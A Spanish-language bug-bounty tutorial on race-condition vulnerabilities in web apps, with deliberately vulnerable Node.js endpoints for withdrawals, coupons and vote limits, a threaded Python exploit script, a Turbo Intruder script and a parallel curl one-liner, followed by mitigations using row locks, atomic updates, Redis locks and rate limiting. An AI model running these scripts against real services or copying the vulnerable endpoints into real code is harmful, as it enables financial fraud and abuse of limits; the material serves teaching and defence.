bug-bounty

Race Conditions

Explotación de concurrencia para duplicar acciones (pagos, votos, cupones).

Pentester
18 minutos
CVSS 7.5
Enero 2026
🌐

Content Available in Spanish Only

This article is currently available only in Spanish. We're working on translations.

Available in: ES Tip: Use your browser's translation feature or visit the Spanish version

¿Qué es una Race Condition?

Una Race Condition ocurre cuando múltiples threads/procesos acceden a un recurso compartido sin sincronización adecuada. En aplicaciones web, esto permiteusar cupones múltiples veces, retirar más dinero del disponible, o comprar items agotados.

Impacto Financiero

  • 💰 Retirar $1000 con saldo de $100
  • 🎟️ Usar el mismo cupón de descuento infinitas veces
  • 🎁 Reclamar el mismo reward múltiples veces
  • 📦 Comprar items con stock = 0
  • ⭐ Incrementar puntos/créditos ilimitadamente

1. Código Vulnerable Clásico

Transferencia de Dinero sin Locks

Node.js - Vulnerable a race condition
javascript
app.post('/api/withdraw', async (req, res) => {
  const { userId, amount } = req.body;
  
  // 1. Leer saldo actual
  const user = await db.users.findById(userId);
  
  // 2. Verificar si hay fondos suficientes
  if (user.balance < amount) {
    return res.status(400).json({ error: 'Insufficient funds' });
  }
  
  // ⏱️ TIEMPO DE VULNERABILIDAD ⏱️
  // Si llega otro request aquí, ambos verán el mismo balance
  
  // 3. Decrementar saldo
  await db.users.updateOne(
    { id: userId },
    { balance: user.balance - amount }
  );
  
  res.json({ success: true, new_balance: user.balance - amount });
});

Escenario de Ataque

Estado Inicial: Usuario tiene $100 en cuenta
Timeline del ataque
text
T=0ms   Request #1 llega → Lee balance = $100
T=1ms   Request #2 llega → Lee balance = $100  ← ¡Mismo valor!
T=2ms   Request #1 verifica: $100 >= $80? ✅
T=3ms   Request #2 verifica: $100 >= $80? ✅
T=4ms   Request #1 actualiza: balance = $100 - $80 = $20
T=5ms   Request #2 actualiza: balance = $100 - $80 = $20

RESULTADO: Usuario retiró $160 pero balance final = $20
           Debería ser $100 - $160 = -$60 (rechazado)
El atacante envió 2 requests simultáneos de $80 cada uno, retirando $160 con solo $100 de saldo.

2. Exploit - Cupón Infinito

Código vulnerable - Aplicar cupón
javascript
app.post('/api/apply-coupon', async (req, res) => {
  const { userId, couponCode } = req.body;
  
  // 1. Verificar que cupón existe y es válido
  const coupon = await db.coupons.findOne({ code: couponCode });
  
  if (!coupon || coupon.used_count >= coupon.max_uses) {
    return res.status(400).json({ error: 'Invalid coupon' });
  }
  
  // ⏱️ RACE CONDITION WINDOW ⏱️
  
  // 2. Incrementar contador de usos
  await db.coupons.updateOne(
    { code: couponCode },
    { used_count: coupon.used_count + 1 }
  );
  
  // 3. Aplicar descuento al usuario
  await db.users.updateOne(
    { id: userId },
    { discount: coupon.amount }
  );
  
  res.json({ success: true });
});

Script de Explotación

exploit.py - Usar cupón 100 veces
python
import requests
import threading

URL = "https://target.com/api/apply-coupon"
COOKIE = "session=your_session_here"

def apply_coupon():
    response = requests.post(
        URL,
        json={
            "userId": 123,
            "couponCode": "SAVE50"
        },
        cookies={"session": COOKIE}
    )
    print(f"Response: {response.status_code}")

# Enviar 100 requests simultáneos
threads = []
for i in range(100):
    t = threading.Thread(target=apply_coupon)
    threads.append(t)
    t.start()

# Esperar a que terminen todos
for t in threads:
    t.join()

print("[+] Attack completed! Check your discount balance.")
Resultado del exploit
Response: 200 Response: 200 Response: 200 ... [+] Attack completed! Check your discount balance. # Verificar cuenta GET /api/profile { "balance": $5000, ← ¡Cupón de $50 usado 100 veces! "original_balance": $0 }

3. Explotación con Burp Suite

Turbo Intruder Extension

Burp tiene una extensión llamada Turbo Intruder diseñada específicamente para explotar race conditions con requests paralelos.

Paso 1: Capturar Request

Request vulnerable
POST /api/redeem-reward HTTP/1.1 Host: vulnerable-app.com Cookie: session=abc123 Content-Type: application/json { "reward_id": 42, "user_id": 123 }

Paso 2: Turbo Intruder Script

turbo-intruder.py
python
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=50,  # 50 conexiones paralelas
        requestsPerConnection=10,
        pipeline=False
    )

    # Enviar 100 requests idénticos simultáneamente
    for i in range(100):
        engine.queue(target.req)

def handleResponse(req, interesting):
    table.add(req)
Con concurrentConnections=50, Turbo Intruder envía requests en paralelo verdadero, maximizando la probabilidad de race condition.

Paso 3: Analizar Resultados

Respuestas esperadas
text
# Si vulnerable:
Request #1: {"status": "success", "points_added": 1000}
Request #2: {"status": "success", "points_added": 1000}
Request #3: {"status": "success", "points_added": 1000}
...
Request #100: {"status": "success", "points_added": 1000}

Total points: 100,000 (debería ser 1,000)

# Si protegido correctamente:
Request #1: {"status": "success", "points_added": 1000}
Request #2: {"status": "error", "message": "Already redeemed"}
Request #3: {"status": "error", "message": "Already redeemed"}
...

4. Limit Override Race Condition

Aplicaciones que limitan acciones (ej: 5 votos por día) son vulnerables si el check y el incremento no son atómicos:

Código vulnerable - Límite de votos
javascript
app.post('/api/vote', async (req, res) => {
  const { userId, postId } = req.body;
  
  // 1. Contar votos actuales
  const votes = await db.votes.count({
    user_id: userId,
    date: today
  });
  
  // 2. Verificar límite
  if (votes >= 5) {
    return res.status(429).json({ error: 'Daily limit exceeded' });
  }
  
  // ⏱️ RACE CONDITION ⏱️
  
  // 3. Crear voto
  await db.votes.create({
    user_id: userId,
    post_id: postId,
    date: today
  });
  
  res.json({ success: true });
});

Exploit - 100 Votos en 1 Segundo

Enviar requests simultáneos con parallel
bash
# Crear archivo con URL y payload
cat > vote_payload.json <<EOF
{
  "userId": 123,
  "postId": 456
}
EOF

# Enviar 100 requests paralelos con GNU parallel
seq 1 100 | parallel -j 100 \
  curl -X POST https://target.com/api/vote \
    -H "Cookie: session=abc123" \
    -H "Content-Type: application/json" \
    -d @vote_payload.json

# Resultado: 100 votos creados, límite era 5

Mitigación Completa

✅ Solución: Operaciones Atómicas + Database Locks

La única forma segura es usar locks de base de datos o transacciones atómicas.

1. Database Transactions con Row Locking

✅ SEGURO - PostgreSQL con SELECT FOR UPDATE
javascript
const { Pool } = require('pg');
const pool = new Pool();

app.post('/api/withdraw', async (req, res) => {
  const { userId, amount } = req.body;
  const client = await pool.connect();
  
  try {
    // Iniciar transacción
    await client.query('BEGIN');
    
    // ✅ LOCK de fila - nadie más puede leer/modificar hasta COMMIT
    const result = await client.query(
      'SELECT balance FROM users WHERE id = $1 FOR UPDATE',
      [userId]
    );
    
    const balance = result.rows[0].balance;
    
    if (balance < amount) {
      await client.query('ROLLBACK');
      return res.status(400).json({ error: 'Insufficient funds' });
    }
    
    // Actualizar balance
    await client.query(
      'UPDATE users SET balance = balance - $1 WHERE id = $2',
      [amount, userId]
    );
    
    // Commit - liberar lock
    await client.query('COMMIT');
    
    res.json({ success: true });
    
  } catch (error) {
    await client.query('ROLLBACK');
    res.status(500).json({ error: 'Transaction failed' });
  } finally {
    client.release();
  }
});

FOR UPDATE

SELECT ... FOR UPDATE crea un lock exclusivo en la fila. Otros requests esperarán hasta que el primero haga COMMIT o ROLLBACK.

2. Atomic Increment (MongoDB)

✅ SEGURO - Usar operadores atómicos
javascript
app.post('/api/apply-coupon', async (req, res) => {
  const { userId, couponCode } = req.body;
  
  // ✅ SEGURO - Incremento atómico con findOneAndUpdate
  const result = await db.coupons.findOneAndUpdate(
    {
      code: couponCode,
      used_count: { $lt: 100 }  // Solo si aún no llegó al límite
    },
    {
      $inc: { used_count: 1 }    // Incrementar atómicamente
    },
    {
      returnDocument: 'after'
    }
  );
  
  if (!result) {
    return res.status(400).json({ error: 'Coupon exhausted or invalid' });
  }
  
  // Aplicar descuento
  await db.users.updateOne(
    { id: userId },
    { $inc: { discount: result.amount } }
  );
  
  res.json({ success: true });
});

3. Redis Distributed Lock

✅ SEGURO - Lock distribuido con Redis
javascript
const Redis = require('ioredis');
const redis = new Redis();

async function withLock(key, ttl, callback) {
  const lockKey = `lock:${key}`;
  const lockValue = Math.random().toString(36);
  
  // Intentar obtener lock
  const acquired = await redis.set(
    lockKey,
    lockValue,
    'EX', ttl,     // Expira en ttl segundos
    'NX'           // Solo si no existe
  );
  
  if (!acquired) {
    throw new Error('Could not acquire lock');
  }
  
  try {
    return await callback();
  } finally {
    // Liberar lock solo si es nuestro
    const script = `
      if redis.call("get", KEYS[1]) == ARGV[1] then
        return redis.call("del", KEYS[1])
      else
        return 0
      end
    `;
    await redis.eval(script, 1, lockKey, lockValue);
  }
}

app.post('/api/withdraw', async (req, res) => {
  const { userId, amount } = req.body;
  
  try {
    // ✅ SEGURO - Solo un request puede ejecutar a la vez por usuario
    await withLock(`user:${userId}`, 10, async () => {
      const user = await db.users.findById(userId);
      
      if (user.balance < amount) {
        throw new Error('Insufficient funds');
      }
      
      await db.users.updateOne(
        { id: userId },
        { balance: user.balance - amount }
      );
    });
    
    res.json({ success: true });
    
  } catch (error) {
    res.status(400).json({ error: error.message });
  }
});

4. Rate Limiting por Usuario

✅ SEGURO - Limitar requests por usuario
javascript
const rateLimit = require('express-rate-limit');
const RedisStore = require('rate-limit-redis');

const limiter = rateLimit({
  store: new RedisStore({
    client: redis
  }),
  windowMs: 1000,  // 1 segundo
  max: 1,          // Solo 1 request por segundo por usuario
  keyGenerator: (req) => `user:${req.body.userId}`,
  handler: (req, res) => {
    res.status(429).json({
      error: 'Too many requests, please slow down'
    });
  }
});

app.post('/api/withdraw', limiter, async (req, res) => {
  // ... lógica de retiro
});

Siguiente: JWT Vulnerabilities

Explotar JSON Web Tokens
Por Aitana Security Team